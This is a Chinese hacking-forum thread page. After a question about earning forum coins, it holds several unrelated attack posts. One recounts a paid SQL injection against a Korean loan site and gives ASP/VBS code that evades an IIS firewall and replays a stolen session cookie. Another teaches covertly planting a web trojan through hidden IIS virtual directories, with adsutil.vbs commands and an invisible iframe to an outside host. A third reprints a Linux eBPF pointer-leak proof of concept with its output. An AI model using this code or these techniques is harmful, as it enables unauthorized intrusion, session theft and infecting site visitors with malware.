最近看过此主题的会员

返回列表 发帖

如何获取金币

小弟初来乍到,请问如何获取金币?

 

您可能还想看的主题:

基于各种原因,非安全中国网正进行秘密计划敬请期待

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:androidarm发表,本帖发表者androidarm符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者androidarm和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

回复 1# androidarm


    发帖,回帖,。。。。

TOP

发原创的,或者参与回帖!

TOP

女人啊真是那句话~~~无理占三分~~忘记怎么说了 呵呵 ~~你帮我想想


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

一个个全都骑到老大头上来了... 我也来骑一下。  


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

当入侵遇到ids
前段时间帮朋友检测一个韩国的网站发现有明显的sql漏洞。。但是 网站上安装了iis 防火墙。。郁闷了半天。。
现在有两个问题要解决了才能继续
1.饶过iis 防火墙
2.网站必须要登陆后才能访问那个有漏洞的页面。
废话不说。点根烟。先解决第一个问题。
查了下资料lcx大牛 也遇到过这样的防火墙的说。。把lcx 大牛用vbs写的sql2005注射程序down 下来 提取了部分代码。如下。。
Function ReplaceKeyWord(Value)
   Table = "select->se%lect|[k]|insert->in%sert|[k]|update->u%pdate|[k]|delete->dele%te|[k]|drop->dr%op|[k]|alter->al%ter|[k]|create->crea%te|[k]|inner->in%ner|[k]|join->jo%in|[k]|from->fro%m|[k]|where->w%here|[k]|union->unio%n|[k]|group->grou%p|[k]|by->b%y|[k]|having->hav%ing|[k]|table->tab%le|[k]|shutdown->shu%tdown|[k]|kill->k%ill|[k]|declare->dec%lare|[k]|open->o%pen|[k]|pwdencrypt->pwdencr%ypt|[k]|msdasql->m%sdasql|[k]|sqloledb->sqlo%ledb|[k]|char->c%har|[k]|fetch->fe%tch|[k]|nExt->ne%xt|[k]|allocate->al%locate|[k]|sys->s%ys|[k]|raiserror->raiser%ror|[k]|Exec->e%xec|[k]|=!->=%!|[k]|--->-%-|[k]|xp_->x%p_|[k]|sp_->s%p_|[k]|and->a%nd"
   Dim i, Relpacement, Temp
   Relpacement = Split(Table, "|[k]|")
   ReplaceKeyWord = Value
For i = 0 to UBound(Relpacement)
   Temp = Split(Relpacement(i), "->")
   If UBound(Temp) = 1 Then ReplaceKeyWord = Replace(ReplaceKeyWord, Temp(0), Temp(1))
    NExt
End Function
感觉没跟人家说就把代码偷出来自己用。。怪不好的但是。。我也要吃饭啊。。哎。。。继续努力。
第一个问题解决了。然后就是登陆问题。我们都知道。http协议里。cookie。和session id 其实是一样滴。。。
这样问题就好办了。。又点一根烟。。花了10分钟。。。写了如下代码。
<%
'http://127.0.0.1/Easp.asp?id=003-067000-012647
'by Ethan
'qq:283207388
url = "http://xxx.xxx.kr/xxx_loan_xxx_.asp?cnumber="
id = request("id")
s = url &amp; ReplaceKeyWord(id)
response.write s
response.write BytesToBstr(getbody(s),"GB2312")
function GetBody(url)
strurl=split(url,"?")
Dim Http
Set Http =Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",strurl(0),False
.SetRequestHeader "Content-Length",Len(strurl(1))
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer","http://xxx.xxx.kr/xxxx_index.asp"
.SetRequestHeader "Cookie","ASPSESSIONIDSAQTCSRR=PLOLFDGCOEDGACOAMMBOLDLB; member%5Fname=rnjs1; member%5Fid=003%2D067000; log%5Fid2=; member%5Fcate=3; md5%5Fpass=; log%5Fid1="
.Send strurl(1)
PostData = .ResponseBody
End With
Set Http = Nothing
GetBody =PostData
End Function
Function BytesToBstr(Body, Cset)
      Dim objstream
      Set objstream = Server.CreateObject("adodb.stream")
       objstream.Type = 1
       objstream.Mode = 3
       objstream.Open
       objstream.Write Body
       objstream.Position = 0
       objstream.Type = 2
       objstream.Charset = Cset
       BytesToBstr = objstream.ReadTExt
       objstream.Close
      Set objstream = Nothing
End Function
Function ReplaceKeyWord(Value)'绕过ids过虑lcx大牛写滴 。。。
   Table = "select->se%lect|[k]|insert->in%sert|[k]|update->u%pdate|[k]|delete->dele%te|[k]|drop->dr%op|[k]|alter->al%ter|[k]|create->crea%te|[k]|inner->in%ner|[k]|join->jo%in|[k]|from->fro%m|[k]|where->w%here|[k]|union->unio%n|[k]|group->grou%p|[k]|by->b%y|[k]|having->hav%ing|[k]|table->tab%le|[k]|shutdown->shu%tdown|[k]|kill->k%ill|[k]|declare->dec%lare|[k]|open->o%pen|[k]|pwdencrypt->pwdencr%ypt|[k]|msdasql->m%sdasql|[k]|sqloledb->sqlo%ledb|[k]|char->c%har|[k]|fetch->fe%tch|[k]|nExt->ne%xt|[k]|allocate->al%locate|[k]|sys->s%ys|[k]|raiserror->raiser%ror|[k]|Exec->e%xec|[k]|=!->=%!|[k]|--->-%-|[k]|xp_->x%p_|[k]|sp_->s%p_|[k]|and->a%nd"
   Dim i, Relpacement, Temp
   Relpacement = Split(Table, "|[k]|")
   ReplaceKeyWord = Value
For i = 0 to UBound(Relpacement)
   Temp = Split(Relpacement(i), "->")
   If UBound(Temp) = 1 Then ReplaceKeyWord = Replace(ReplaceKeyWord, Temp(0), Temp(1))
    NExt
End Function
%>
配置了下iis 打开nbsi 加入http://127.0.0.1/Easp.asp?id=003-067000-012647 进行艰苦滴注射 获得sql 服务器管理权限。。然后经过两天。。完工 收钱走人。。。




















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

小黑的另类挂马方式!
我写这文章并不是教大家怎么跑去挂马啊,挂马是不对的!不过有的时候真的很想做些让人觉得痛快的事情,因为我就碰到很多的管理员,你跟他说服务器有问题吧!他不信,你改些东西警告他吧,他比你还勤快,你一改他马上覆盖回去,让人真的很郁闷。还有在国外的一些机器上,什么权限都拿到了也不知道他怎么弄的,什么都不让写,好不容易写个文件没一会又改回去了,真的让人很!#$%%#%^#%^,据说就有一种软件能监视重要的文件,一旦发现更改就会给恢复过去,譬如他监视web目录的话我们就不能更改他网站的任何内容了。不过,看了很多大虾的文章,自己也略微研究了下,也总算琢磨点东西出来,不用写任何文件就可以实现将别人的页面涂改和大家经常传说的挂马等等后果,这里就给大家介绍下,那些只知道勤快的管理员也要小心了!   大家知道,我们浏览网站的时候都是服务器将信息处理成Html方式再返回给我们,而我们要实现的是当客户访问的时候能改变他们浏览器的内容,使他隐蔽的执行我们的东西如木马等等。比较常见的方式就是引入Frame,设置属性让他在页面不可见,或者不怕死的用javascript跳转,比较高级点的会利用原代码里的Html元素如script标记或者frame标记,然后在这些标记里引入的其他文件或者页面里做手脚,或者更改某些要在主页上显示的数据库内容,如修改数据库里的公告实现挂马。但是这些都需要在服务器的原代码里加东西或者修改网站的内容,无论是跨站还是直接修改原代码,这都是极其容易被发现的事,遇到一个勤快的管理员,你的东西就在服务器上呆不了多久了!还有就是如果一些页面是不可写的我们也很郁闷,所以有必要寻找一种更隐蔽和更安全的挂马方式解决上面的问题!   我们首先去Iis管理器里看看吧!选中一个页面看看他的属性如图一。呵呵,有个资源重定向吧!如果我们将这个页面选择重定向到我们已经控制的一个页面那么当浏览器请求这个页面的时候将会转而去访问我们定义好的那个页面,如果这个页面是网页木马呢?很显然,访问者就会被挂马!这是很简单的方式,只需要在 IIs里更改页面的重定向就可以了!任何能接触到IIS管理器的人都能轻易做到!但是这样还有问题啊!如果管理员发现页面总被跳转,在检查网站的文件以及用备份等手段恢复还是没有解决问题的时候,他肯定会去IIS里看!一不小心看到主页面的属性就会发现哪里存在问题然后就可以改回去了!   那么我们继续看看有没有更隐藏的方法!借助以前挂马者的方法,既然主页面很容易被发现,那么去看看主页面里的Html标记吧!如果发现有调用其他的页面就好办了!譬如里面主页里有这样的一个标记:<script src=include/mm2.js></script>那么我们就有办法了,去修改include/mms2.js的属性吧!如图二,转到我们的某个页面,内容当然要能在script标记里解释的了,如:document.write("<iframe style='display:none;' src=http://jnclovesw.com width=0 height=0></iframe>");这样就可以引入我们的页面了!当然最好还是先实现他JS的功能!那样才够隐蔽!现在管理员会发现首页没有更改,去IIs 里看首页的属性也没有更改,甚至主机上的任何www文件都没有修改,他会很郁闷吧!呵呵!如果他只是把以前的网站备份恢复回去也是没有办法把页面改回去的!IIs文件那么多他总不能一个一个看属性吧!这里顺便提个问题,就是你选择重定向过去的文件必须是能被引用他的html标记能解释的,否则是没有效果的!譬如一个<img src=1.jpg>你把1.jpg重定向到我们的木马页面是没有用的,因为木马页面没有被当成Html解析,而是送到img标签里当成图片了!我想到的能利用的标记也就是script还有frame,至于Css,我想也是能利用的,但是利用方法我还没有找到!也不知道我分析得对不对,欢迎大家指教啊!   让我们继续吧!假设万一你的管理员够厉害或者够勤快,他发现了你在mm2.js上面做了手脚,他就会从IIs里面把他恢复过去!我们的梦想又破灭了!有没有更隐蔽的方法呢?让管理员在IIs里面都找不到呢?答案是肯定的!大家一定记得很久前的那个IIS配置漏洞,可以建立一个看不见的虚拟目录,然后在里面建立后门!我们也可以借来利用哦!看看IIS配置漏洞的原理是说建立一个没有物理目录的虚拟目录,这样就会在IIs里不可见,然后就可以在这个目录里做些小动作了!这里我们先建立一个不可见的虚拟目录,如果主页里调用了include文件夹下的js文件,我们就建立include目录吧!这可以借助IIS 的脚本实现,其中adsutil.vbs脚本是在IIs的安装目录如C:InetpubAdminScripts下的,是控制IIS行为的一个脚本,我们用到的命令如下:cscript adsutil.vbs Create W3SVC/1/Root/www/include "IIsWebVirtualDir"这样就会建立了个IIs里不可见的虚拟目录,因为没有设置路径所以不会显示哦!然后再在这个目录下建立一个名字叫做mm2.js的虚拟目录,呵呵!居然建立虚拟目录是可以用到.等特殊字符的:cscript adsutil.vbs Create W3SVC/1/Root/www/include/mm2.js "IIsWebVirtualDir"这样就存在一个include/mm2.js的虚拟目录了!想到什么了?是不是跟主页里调用的那个文件名字一直的哦!我们继续往下做!cscript adsutil.vbs set W3SVC/1/Root/www/include/mm2.js/httpredirect "http://jnclovesw.com/mm1.js"这样是更改mm2.js虚拟目录的重定向特性,如图三。注意其中的W3SVC/1/Root/www/代表IIs下的第一个web服务器的www虚拟目录,大家不清楚的话可以用adsutil.vbs的enum参数去查询自己需要更改的网站,其他的操作可以打开 adsutil.vbs脚本的帮助看看!这样操作之后就设置了虚拟目录的重定向特性,现在试着在主页里调用include/mm2.js,你猜猜返回的是 mm2.js的内容还是我们的mm1.js的内容呢?答案是mm1.js,如图四,并且物理文件还是存在的!这也许是IIS的特性吧!他首先处理用户的请求,并且虚拟目录优先于物理文件!然后我们去IIS里看看有不有include虚拟目录吧!如图五,没有吧!呵呵!这样我们就成功的饶过权限的限制和管理员的检测!将我们的木马挂到了对方的网站上,并且除非对方重做IIs或者删除我们隐藏的虚拟目录,否则他是很难清除我们的木马的!文章很简单,关键是IIS脚本的命令和对IIs的一些认识,这种挂马方式适合于得到管理员权限之后挂马,对付那些只是勤快的管理员还是很有用的!大家以后发现网站存在问题记得要用这个脚本查看下有不有问题哦!或者干脆把IIS的设置也备份吧!遇到问题把IIs的设置也还原,呵呵!2.全服务器被挂马 网页源文件中却找不到挂马代码一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>这种样式的代码 一般在头部 部分杀毒软件打开会报毒打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码起初会怀疑是JS 找了半天还是没有发现 连新建的HTML页面 也会有这段代码~仔细寻找 问题应该在IIS上 打开IIS 重新启动一次 在主IIS上 右键属性 ISAPI 发现一个ISAPI扩展 没见过的路径为:c:windowshelpwanps.dll ISAP加载正常 绿色状态取消 重新启动IIS 所有代码消失加载项包含了三个文件:wanps.ini内容为:Cookie=GAG5=ABCDEFGRedirector=C:windowshelpwanps.txtwanps.txt内容为:<body><iframe src="http://xxx.com/web.htm" height=0 width=0></iframe><script language="javascript"><!--var expires = new Date();expires.setTime(expires.getTime() + 5 * 24* 60 * 60 * 1000);document.cookie="GAG5=ABCDEFG;expires="+expires.toGMTString();--></script></body>


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

Linux Kernel 4.11 日志地图指针权限提升漏洞
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1251

When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
it dumps all processed instructions to a user-accessible buffer in
human-readable form using print_bpf_insn(). For instructions with
class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:

  } else if (class == BPF_LD) {
    if (BPF_MODE(insn->code) == BPF_ABS) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IND) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IMM) {
      verbose("(%02x) r%d = 0x%x
",
              insn->code, insn->dst_reg, insn->imm);
    } else {
      [...]
    }
  } else if (class == BPF_JMP) {

This is done in do_check(), after replace_map_fd_with_map_ptr() has
executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
pointer in all instructions with class BPF_LD, mode BPF_IMM and size
BPF_DW (map references).

So when verbose verification is performed on a program with a map
reference, the lower half of the pointer to the map becomes visible to
the user:

$ cat bpf_pointer_leak_poc.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <err.h>
#include <stdio.h>
#include <stdint.h>

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         
  ((struct bpf_insn) {                          
    .code  = BPF_LD | BPF_DW | BPF_IMM,         
    .dst_reg = DST,                             
    .src_reg = SRC,                             
    .off   = 0,                                 
    .imm   = (__u32) (IMM) }),                  
  ((struct bpf_insn) {                          
    .code  = 0, /* zero is reserved opcode */   
    .dst_reg = 0,                              
    .src_reg = 0,                              
    .off   = 0,                                 
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_IMM(DST, IMM)                 
  ((struct bpf_insn) {                          
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,      
    .dst_reg = DST,                             
    .src_reg = 0,                              
    .off   = 0,                                 
    .imm   = IMM })
#define BPF_EXIT_INSN()                        
  ((struct bpf_insn) {                          
    .code  = BPF_JMP | BPF_EXIT,               
    .dst_reg = 0,                              
    .src_reg = 0,                              
    .off   = 0,                                 
    .imm   = 0 })

#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

int bpf_(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int main(void) {
  union bpf_attr create_map_attrs = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = 4,
    .value_size = 1,
    .max_entries = 1
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &amp;create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");

  struct bpf_insn insns[] = {
    BPF_LD_MAP_FD(BPF_REG_0, mapfd),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };
  char verifier_log[10000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = ARRSIZE(insns),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"",
    .log_level = 1,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &amp;create_prog_attrs);
  if (progfd == -1)
    err(1, "prog load");

  puts(verifier_log);
}

/*
$ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include
$ ./bpf_pointer_leak_poc
0: (18) r0 = 0xd9da1c80
2: (b7) r0 = 0
3: (95) exit
processed 3 insns

Tested with kernel 4.11.
*/


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表